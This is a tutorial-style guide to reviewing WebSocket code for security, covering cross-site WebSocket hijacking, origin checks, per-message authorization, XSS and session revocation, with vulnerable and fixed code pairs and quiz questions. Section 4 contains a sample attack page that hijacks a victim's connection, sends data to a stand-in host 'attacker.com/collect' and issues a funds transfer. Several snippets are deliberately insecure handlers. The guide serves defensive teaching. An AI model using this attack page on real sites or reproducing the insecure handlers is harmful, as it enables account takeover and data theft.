WebSocket Security Code Review Guide
Table of Contents
1. Introduction to WebSocket Security
WebSockets provide full-duplex, persistent communication channels between browsers and servers. While they enable powerful real-time features — chat, live dashboards, collaborative editing, gaming — they also introduce a unique attack surface that differs significantly from traditional HTTP request-response patterns.
WebSockets Bypass Many Traditional Defenses
Unlike HTTP requests, WebSocket messages do not carry CSRF tokens, are not subject to same-origin policy after the initial handshake, and often bypass WAF rules designed for HTTP traffic. This makes WebSocket endpoints a blind spot in many security architectures.
In this guide, you'll learn to identify WebSocket security vulnerabilities during code review, understand Cross-Site WebSocket Hijacking (CSWSH), detect authentication and authorization flaws in message handling, and implement robust prevention techniques for real-time applications.
WebSocket Connection Lifecycle & Attack Surface
1. HTTP Upgrade Handshake
GET /ws HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: x3JJ...
Origin: https://app.comOrigin not validated?
No auth token?
HTTP/1.1 101 Switching
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc...2. Bidirectional Message Exchange
- ⚠ Message injection
- ⚠ Malformed frames
- ⚠ Rate flooding
- ⚠ XSS via messages
- ⚠ Data leakage
- ⚠ Unauthorized broadcasts
What makes WebSocket security fundamentally different from traditional HTTP security?
2. Real-World Scenario
The Scenario: You're reviewing a real-time trading platform that uses WebSockets for live price updates and order execution. The application handles thousands of concurrent WebSocket connections.
Server-Side WebSocket Handler (Node.js + ws)
1const WebSocket = require('ws');
2const wss = new WebSocket.Server({ server: httpServer });
3
4wss.on('connection', (ws, req) => {
5 // Extract token from query string
6 const token = new URL(req.url, 'http://localhost').searchParams.get('token');
7
8 // No origin validation!
9 // No proper token verification!
10
11 ws.on('message', (data) => {
12 const msg = JSON.parse(data);
13
14 switch (msg.type) {
15 case 'subscribe':
16 // Subscribe to price updates — no authorization check
17 channels[msg.channel].add(ws);
18 break;
19
20 case 'place_order':
21 // Execute trade — trusts client-supplied userId
22 executeOrder({
23 userId: msg.userId, // ❌ User-controlled!
24 symbol: msg.symbol,
25 quantity: msg.quantity,
26 price: msg.price,
27 });
28 break;
29
30 case 'chat':
31 // Broadcast message to all connected clients
32 wss.clients.forEach(client => {
33 client.send(JSON.stringify({
34 type: 'chat',
35 message: msg.text, // ❌ No sanitization!
36 user: msg.username, // ❌ User-controlled!
37 }));
38 });
39 break;
40 }
41 });
42});Multiple Critical Vulnerabilities
This code has at least 5 serious security issues: (1) No origin validation on connection — CSWSH possible; (2) Token passed in query string — logged in server access logs, proxy logs, Referer headers; (3) No authorization check on channel subscriptions; (4) Trusting client-supplied userId for order execution — any user can trade as any other user; (5) Broadcasting unsanitized user input — stored XSS via WebSocket messages.
This scenario illustrates how WebSocket endpoints often receive less security scrutiny than REST APIs, even though they handle equally sensitive operations. The persistent nature of the connection creates a false sense of security — developers assume the initial authentication covers all subsequent messages.
In the trading platform above, which vulnerability has the highest business impact?
3. Understanding the WebSocket Protocol
To identify WebSocket vulnerabilities effectively, you need to understand how the protocol works. WebSocket connections begin with an HTTP upgrade handshake and then transition to a persistent, frame-based protocol.
The WebSocket Upgrade Handshake
1// CLIENT REQUEST
2GET /ws/chat HTTP/1.1
3Host: app.example.com
4Upgrade: websocket
5Connection: Upgrade
6Sec-WebSocket-Version: 13
7Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
8Origin: https://app.example.com
9Cookie: session=abc123
10
11// SERVER RESPONSE
12HTTP/1.1 101 Switching Protocols
13Upgrade: websocket
14Connection: Upgrade
15Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=Key Security Properties of the Handshake
The handshake is a regular HTTP request — it includes cookies automatically (enabling CSWSH), the Origin header is set by the browser (but the server must validate it), and the Sec-WebSocket-Key is NOT a security mechanism — it only prevents proxy confusion. After the 101 response, all further communication bypasses HTTP entirely.
WebSocket Security vs HTTP Security
| Security Mechanism | HTTP Requests | WebSocket Messages |
|---|---|---|
| CSRF Tokens | Included per-request | Only at handshake (if at all) |
| Same-Origin Policy | Enforced per-request | Only at handshake via Origin header |
| Cookie Sending | Automatic per-request | Automatic at handshake only |
| Content-Type Checking | Available | Not applicable (raw frames) |
| WAF Inspection | Full request/response | Often bypassed or limited |
| Rate Limiting | Per-request middleware | Must be custom-implemented per-message |
| Input Validation | Framework middleware | Manual per-message handler |
| Authentication | Session/token per-request | Must persist across connection lifetime |
WebSocket Frame Types are also important for security analysis:
WebSocket Frame Types
| Opcode | Frame Type | Security Relevance |
|---|---|---|
| 0x1 | Text Frame | Most common — carries JSON/text messages, primary injection vector |
| 0x2 | Binary Frame | Can carry serialized objects — deserialization attacks |
| 0x8 | Close Frame | Can be spoofed to disconnect users (DoS) |
| 0x9 | Ping Frame | Flood attacks if not rate-limited |
| 0xA | Pong Frame | Response to ping — used for keep-alive |
Why does the Sec-WebSocket-Key header NOT provide security against cross-site attacks?
4. Cross-Site WebSocket Hijacking (CSWSH)
Cross-Site WebSocket Hijacking (CSWSH) is the WebSocket equivalent of CSRF. Because the WebSocket handshake is a regular HTTP request, the browser automatically includes cookies for the target domain. If the server does not validate the Origin header, any website can establish a WebSocket connection as the victim user.
CSWSH Attack Page (attacker.com)
1<!-- Hosted on https://attacker.com/steal.html -->
2<script>
3 // Browser automatically sends victim's cookies for target domain
4 const ws = new WebSocket('wss://vulnerable-app.com/ws/account');
5
6 ws.onopen = () => {
7 // Connection established AS THE VICTIM
8 // Request sensitive data
9 ws.send(JSON.stringify({
10 type: 'get_profile',
11 }));
12
13 ws.send(JSON.stringify({
14 type: 'get_transactions',
15 limit: 100,
16 }));
17 };
18
19 ws.onmessage = (event) => {
20 // Exfiltrate victim's data to attacker's server
21 fetch('https://attacker.com/collect', {
22 method: 'POST',
23 body: event.data,
24 });
25 };
26
27 // Can also perform actions AS the victim
28 ws.onopen = () => {
29 ws.send(JSON.stringify({
30 type: 'transfer_funds',
31 to: 'attacker_account',
32 amount: 10000,
33 }));
34 };
35</script>CSWSH is Extremely Dangerous
Unlike CSRF, which is limited to triggering specific HTTP requests, CSWSH gives the attacker a persistent, bidirectional channel to the application as the victim. They can read responses, send multiple messages, and maintain the connection for extended periods — all completely invisible to the victim.
❌ Vulnerable: No Origin Validation
1// Server-side (Node.js + ws library)
2const wss = new WebSocket.Server({ server });
3
4wss.on('connection', (ws, req) => {
5 // ❌ No origin check at all — any website can connect
6 // ❌ Cookies are automatically sent by browser
7 const session = getSessionFromCookie(req.headers.cookie);
8 if (session) {
9 ws.userId = session.userId;
10 ws.send('Connected as ' + session.username);
11 }
12});❌ Vulnerable: Weak Origin Validation
1wss.on('connection', (ws, req) => {
2 const origin = req.headers.origin;
3
4 // ❌ Substring check — bypassed by "app.example.com.attacker.com"
5 if (!origin.includes('app.example.com')) {
6 ws.close();
7 return;
8 }
9
10 // ❌ Regex without anchors — bypassed by "evil-app.example.com"
11 if (!/app\.example\.com/.test(origin)) {
12 ws.close();
13 return;
14 }
15
16 // ❌ Checking only protocol — any .com domain matches
17 if (!origin.endsWith('.com')) {
18 ws.close();
19 return;
20 }
21});✅ Secure: Strict Origin Validation
1const ALLOWED_ORIGINS = new Set([
2 'https://app.example.com',
3 'https://admin.example.com',
4]);
5
6wss.on('connection', (ws, req) => {
7 const origin = req.headers.origin;
8
9 // ✅ Exact match against allowlist
10 if (!origin || !ALLOWED_ORIGINS.has(origin)) {
11 ws.close(4003, 'Forbidden origin');
12 return;
13 }
14
15 // ✅ Also validate authentication
16 const token = extractBearerToken(req);
17 const user = verifyToken(token);
18 if (!user) {
19 ws.close(4001, 'Unauthorized');
20 return;
21 }
22
23 ws.userId = user.id;
24 ws.role = user.role;
25});An application validates the WebSocket Origin header using: origin.includes('myapp.com'). Which origin would bypass this check?
5. Finding Vulnerable Patterns
During code review, focus on these categories of WebSocket vulnerabilities: message handling sinks, authentication gaps, and authorization flaws in per-message processing.
WebSocket Vulnerability Sinks
| Sink Type | Risk Level | Impact | Code Pattern |
|---|---|---|---|
| JSON.parse() without validation | High | Injection, prototype pollution | JSON.parse(message) |
| eval() / Function() on message data | Critical | Remote code execution | eval(msg.expression) |
| innerHTML with message content | High | Cross-site scripting | el.innerHTML = msg.text |
| SQL/NoSQL query with message fields | Critical | Database injection | db.find({id: msg.id}) |
| File path from message data | High | Path traversal | fs.readFile(msg.path) |
| Shell command with message data | Critical | Command injection | exec(msg.command) |
| broadcast() with raw message | High | Stored XSS to all users | clients.forEach(c => c.send(msg)) |
❌ Vulnerable: No Per-Message Authorization
1ws.on('message', (data) => {
2 const msg = JSON.parse(data);
3
4 switch (msg.action) {
5 case 'get_user':
6 // ❌ IDOR — any authenticated user can fetch any profile
7 const user = await db.users.findById(msg.userId);
8 ws.send(JSON.stringify(user));
9 break;
10
11 case 'delete_message':
12 // ❌ No ownership check — any user can delete any message
13 await db.messages.deleteOne({ _id: msg.messageId });
14 ws.send(JSON.stringify({ status: 'deleted' }));
15 break;
16
17 case 'set_role':
18 // ❌ Privilege escalation — no admin check
19 await db.users.updateOne(
20 { _id: msg.targetUser },
21 { role: msg.newRole }
22 );
23 break;
24
25 case 'admin_broadcast':
26 // ❌ No role check — anyone can broadcast as admin
27 broadcastToAll({ type: 'announcement', text: msg.text });
28 break;
29 }
30});✅ Secure: Per-Message Authorization
1ws.on('message', (data) => {
2 let msg;
3 try {
4 msg = JSON.parse(data);
5 } catch {
6 ws.send(JSON.stringify({ error: 'Invalid JSON' }));
7 return;
8 }
9
10 // ✅ Validate message structure with schema
11 const validation = messageSchema.safeParse(msg);
12 if (!validation.success) {
13 ws.send(JSON.stringify({ error: 'Invalid message format' }));
14 return;
15 }
16
17 switch (msg.action) {
18 case 'get_user':
19 // ✅ Users can only access their own profile (or admin)
20 if (ws.userId !== msg.userId && ws.role !== 'admin') {
21 ws.send(JSON.stringify({ error: 'Forbidden' }));
22 return;
23 }
24 const user = await db.users.findById(msg.userId);
25 ws.send(JSON.stringify(sanitizeUser(user)));
26 break;
27
28 case 'delete_message':
29 // ✅ Ownership check
30 const message = await db.messages.findById(msg.messageId);
31 if (message.authorId !== ws.userId && ws.role !== 'admin') {
32 ws.send(JSON.stringify({ error: 'Forbidden' }));
33 return;
34 }
35 await db.messages.deleteOne({ _id: msg.messageId });
36 break;
37
38 case 'admin_broadcast':
39 // ✅ Role check
40 if (ws.role !== 'admin') {
41 ws.send(JSON.stringify({ error: 'Forbidden' }));
42 return;
43 }
44 broadcastToAll({ type: 'announcement', text: sanitize(msg.text) });
45 break;
46 }
47});❌ Vulnerable: XSS via WebSocket Messages (Client-Side)
1// Client-side message handler
2socket.onmessage = (event) => {
3 const data = JSON.parse(event.data);
4
5 switch (data.type) {
6 case 'chat':
7 // ❌ Direct HTML insertion — stored XSS!
8 chatBox.innerHTML += `
9 <div class="message">
10 <strong>${data.username}</strong>: ${data.message}
11 </div>
12 `;
13 break;
14
15 case 'notification':
16 // ❌ HTML in notification
17 document.getElementById('alerts').innerHTML = data.html;
18 break;
19
20 case 'update_profile':
21 // ❌ Setting src from server data without validation
22 document.getElementById('avatar').src = data.avatarUrl;
23 break;
24 }
25};✅ Secure: Safe Client-Side Message Rendering
1socket.onmessage = (event) => {
2 let data;
3 try {
4 data = JSON.parse(event.data);
5 } catch {
6 console.error('Invalid message from server');
7 return;
8 }
9
10 switch (data.type) {
11 case 'chat':
12 // ✅ Use textContent — no HTML parsing
13 const msgDiv = document.createElement('div');
14 msgDiv.className = 'message';
15 const strong = document.createElement('strong');
16 strong.textContent = data.username;
17 const text = document.createTextNode(': ' + data.message);
18 msgDiv.appendChild(strong);
19 msgDiv.appendChild(text);
20 chatBox.appendChild(msgDiv);
21 break;
22
23 case 'notification':
24 // ✅ Use textContent, not innerHTML
25 document.getElementById('alerts').textContent = data.text;
26 break;
27
28 case 'update_profile':
29 // ✅ Validate URL scheme before setting src
30 const url = new URL(data.avatarUrl);
31 if (['https:'].includes(url.protocol)) {
32 document.getElementById('avatar').src = data.avatarUrl;
33 }
34 break;
35 }
36};A WebSocket chat application broadcasts user messages to all connected clients using: clients.forEach(c => c.send(msg)). The client renders them with innerHTML. Where should sanitization happen?
6. Authentication & Session Management
WebSocket authentication is uniquely challenging because the connection is long-lived. Unlike HTTP where each request can carry fresh credentials, a WebSocket connection may persist for hours or days. This creates problems around token expiration, session revocation, and credential handling.
WebSocket Authentication Approaches
| Approach | Security Level | Pros | Cons |
|---|---|---|---|
| Cookie-based (automatic) | Low | Simple, automatic | Vulnerable to CSWSH, no per-message auth |
| Token in query string | Low | Simple | Token in logs, Referer, browser history |
| Token in first message | Medium | Token not in URL | Race condition: messages before auth |
| Token in Sec-WebSocket-Protocol | Medium | Not in URL or logs | Non-standard, limited by header format |
| Token in custom header (via library) | High | Clean, secure | Not available from browser WebSocket API |
| Ticket-based (short-lived code) | High | No long-lived token exposure | More complex, requires backend coordination |
❌ Vulnerable: Token in Query String
1// Client-side
2const ws = new WebSocket(
3 'wss://api.example.com/ws?token=eyJhbGciOiJIUzI1NiIs...'
4);
5// ❌ Token visible in:
6// - Server access logs
7// - Proxy logs
8// - Browser history
9// - Referer header if page navigates
10// - Network monitoring tools✅ Secure: Ticket-Based Authentication
1// Step 1: Client requests a short-lived WebSocket ticket via REST API
2const response = await fetch('/api/ws-ticket', {
3 method: 'POST',
4 headers: {
5 'Authorization': 'Bearer ' + accessToken,
6 'Content-Type': 'application/json',
7 },
8});
9const { ticket } = await response.json();
10
11// Step 2: Connect with the single-use ticket
12const ws = new WebSocket('wss://api.example.com/ws?ticket=' + ticket);
13
14// --- Server-side ---
15wss.on('connection', async (ws, req) => {
16 const ticket = new URL(req.url, 'http://localhost').searchParams.get('ticket');
17
18 // ✅ Ticket is single-use, short-lived (30 seconds), and tied to IP
19 const session = await redeemTicket(ticket, req.socket.remoteAddress);
20 if (!session) {
21 ws.close(4001, 'Invalid or expired ticket');
22 return;
23 }
24
25 ws.userId = session.userId;
26 ws.role = session.role;
27 ws.connectedAt = Date.now();
28});
29
30// ✅ Periodic re-authentication check
31setInterval(() => {
32 wss.clients.forEach(async (ws) => {
33 const isValid = await checkUserSession(ws.userId);
34 if (!isValid) {
35 ws.close(4001, 'Session expired');
36 }
37 });
38}, 60000); // Check every minuteSession Revocation Problem
When a user changes their password, an admin revokes their session, or their account is suspended, existing WebSocket connections remain active because there is no per-message session check. You MUST implement periodic session validation on active WebSocket connections, or use a pub/sub system to push revocation events to WebSocket handlers.
❌ Vulnerable: No Session Expiry Check (Python + websockets)
1import websockets
2
3async def handler(websocket, path):
4 # Auth only happens once at connection time
5 token = await websocket.recv()
6 user = verify_jwt(token)
7
8 if not user:
9 await websocket.close(4001, "Unauthorized")
10 return
11
12 # ❌ Connection stays open FOREVER — even after:
13 # - Token expires
14 # - User is banned
15 # - Password is changed
16 # - Session is revoked
17 async for message in websocket:
18 await handle_message(user, message)✅ Secure: Periodic Session Validation
1import websockets
2import asyncio
3
4async def handler(websocket, path):
5 token = await websocket.recv()
6 user = verify_jwt(token)
7
8 if not user:
9 await websocket.close(4001, "Unauthorized")
10 return
11
12 session_id = user["session_id"]
13 last_check = time.time()
14
15 async for message in websocket:
16 # ✅ Re-validate session periodically (every 60 seconds)
17 if time.time() - last_check > 60:
18 if not await is_session_valid(session_id):
19 await websocket.close(4001, "Session revoked")
20 return
21 last_check = time.time()
22
23 # ✅ Re-verify permissions for sensitive operations
24 msg = json.loads(message)
25 if msg["action"] in SENSITIVE_ACTIONS:
26 fresh_user = await get_user(user["id"])
27 if not fresh_user or fresh_user["suspended"]:
28 await websocket.close(4003, "Account suspended")
29 return
30
31 await handle_message(user, msg)A user changes their password on a banking app. What happens to their existing WebSocket connections if the server only authenticates at handshake time?
7. Prevention Techniques
Prevention Hierarchy
1) Validate Origin header strictly with an allowlist. 2) Use ticket-based authentication instead of cookies or URL tokens. 3) Validate and authorize every message — not just the handshake. 4) Implement message schema validation (Zod, Joi, JSON Schema). 5) Rate-limit messages per connection. 6) Set connection limits and timeouts. 7) Sanitize all data before rendering on clients.
✅ Comprehensive Secure WebSocket Server
1const WebSocket = require('ws');
2const { z } = require('zod');
3
4// --- Connection-level security ---
5const ALLOWED_ORIGINS = new Set([
6 'https://app.example.com',
7 'https://admin.example.com',
8]);
9
10const MAX_CONNECTIONS_PER_IP = 10;
11const MAX_MESSAGE_SIZE = 64 * 1024; // 64 KB
12const MAX_MESSAGES_PER_MINUTE = 60;
13const ipConnections = new Map();
14
15const wss = new WebSocket.Server({
16 server,
17 maxPayload: MAX_MESSAGE_SIZE, // ✅ Limit frame size
18 verifyClient: ({ req }, callback) => {
19 // ✅ 1. Strict origin validation
20 const origin = req.headers.origin;
21 if (!origin || !ALLOWED_ORIGINS.has(origin)) {
22 callback(false, 403, 'Forbidden origin');
23 return;
24 }
25
26 // ✅ 2. Per-IP connection limiting
27 const ip = req.socket.remoteAddress;
28 const count = ipConnections.get(ip) || 0;
29 if (count >= MAX_CONNECTIONS_PER_IP) {
30 callback(false, 429, 'Too many connections');
31 return;
32 }
33 ipConnections.set(ip, count + 1);
34
35 callback(true);
36 },
37});
38
39// ✅ Message schema validation
40const MessageSchema = z.discriminatedUnion('action', [
41 z.object({
42 action: z.literal('chat'),
43 text: z.string().max(2000).trim(),
44 channelId: z.string().uuid(),
45 }),
46 z.object({
47 action: z.literal('subscribe'),
48 channelId: z.string().uuid(),
49 }),
50 z.object({
51 action: z.literal('typing'),
52 channelId: z.string().uuid(),
53 }),
54]);
55
56wss.on('connection', async (ws, req) => {
57 // ✅ 3. Ticket-based authentication
58 const ticket = new URL(req.url, 'http://localhost')
59 .searchParams.get('ticket');
60 const user = await redeemTicket(ticket);
61 if (!user) {
62 ws.close(4001, 'Unauthorized');
63 return;
64 }
65
66 ws.userId = user.id;
67 ws.role = user.role;
68 ws.messageCount = 0;
69 ws.lastReset = Date.now();
70
71 // ✅ 4. Connection timeout
72 ws.connectionTimeout = setTimeout(() => {
73 ws.close(4008, 'Connection timeout');
74 }, 24 * 60 * 60 * 1000); // 24 hours max
75
76 ws.on('message', async (raw) => {
77 // ✅ 5. Rate limiting per connection
78 if (Date.now() - ws.lastReset > 60000) {
79 ws.messageCount = 0;
80 ws.lastReset = Date.now();
81 }
82 if (++ws.messageCount > MAX_MESSAGES_PER_MINUTE) {
83 ws.send(JSON.stringify({ error: 'Rate limited' }));
84 return;
85 }
86
87 // ✅ 6. Parse and validate message schema
88 let msg;
89 try {
90 msg = MessageSchema.parse(JSON.parse(raw));
91 } catch (err) {
92 ws.send(JSON.stringify({ error: 'Invalid message' }));
93 return;
94 }
95
96 // ✅ 7. Per-message authorization
97 await handleMessage(ws, msg);
98 });
99
100 ws.on('close', () => {
101 clearTimeout(ws.connectionTimeout);
102 const ip = req.socket.remoteAddress;
103 ipConnections.set(ip, (ipConnections.get(ip) || 1) - 1);
104 });
105});✅ Secure Client-Side WebSocket Wrapper
1class SecureWebSocket {
2 constructor(url, options = {}) {
3 this.maxReconnectAttempts = options.maxReconnectAttempts || 5;
4 this.reconnectDelay = options.reconnectDelay || 1000;
5 this.messageHandlers = new Map();
6 this.reconnectAttempts = 0;
7
8 // ✅ Schema validation for incoming messages
9 this.messageSchema = options.messageSchema;
10 }
11
12 async connect() {
13 // ✅ Obtain short-lived ticket via authenticated API
14 const response = await fetch('/api/ws-ticket', {
15 method: 'POST',
16 credentials: 'same-origin',
17 headers: { 'X-CSRF-Token': getCsrfToken() },
18 });
19 const { ticket } = await response.json();
20
21 this.ws = new WebSocket(
22 `wss://api.example.com/ws?ticket=${ticket}`
23 );
24
25 this.ws.onmessage = (event) => {
26 let data;
27 try {
28 data = JSON.parse(event.data);
29 } catch {
30 console.error('Invalid server message');
31 return;
32 }
33
34 // ✅ Validate server messages too
35 if (this.messageSchema && !this.messageSchema.safeParse(data).success) {
36 console.error('Unexpected message format', data);
37 return;
38 }
39
40 // ✅ Use safe rendering — NEVER innerHTML
41 const handler = this.messageHandlers.get(data.type);
42 if (handler) handler(data);
43 };
44
45 this.ws.onclose = (event) => {
46 if (event.code !== 1000 && this.reconnectAttempts < this.maxReconnectAttempts) {
47 setTimeout(() => {
48 this.reconnectAttempts++;
49 this.connect();
50 }, this.reconnectDelay * Math.pow(2, this.reconnectAttempts));
51 }
52 };
53 }
54
55 // ✅ Type-safe message sending
56 send(action, payload) {
57 if (this.ws?.readyState === WebSocket.OPEN) {
58 this.ws.send(JSON.stringify({ action, ...payload }));
59 }
60 }
61
62 on(type, handler) {
63 this.messageHandlers.set(type, handler);
64 }
65}Which of these is the MOST important single defense for a WebSocket endpoint?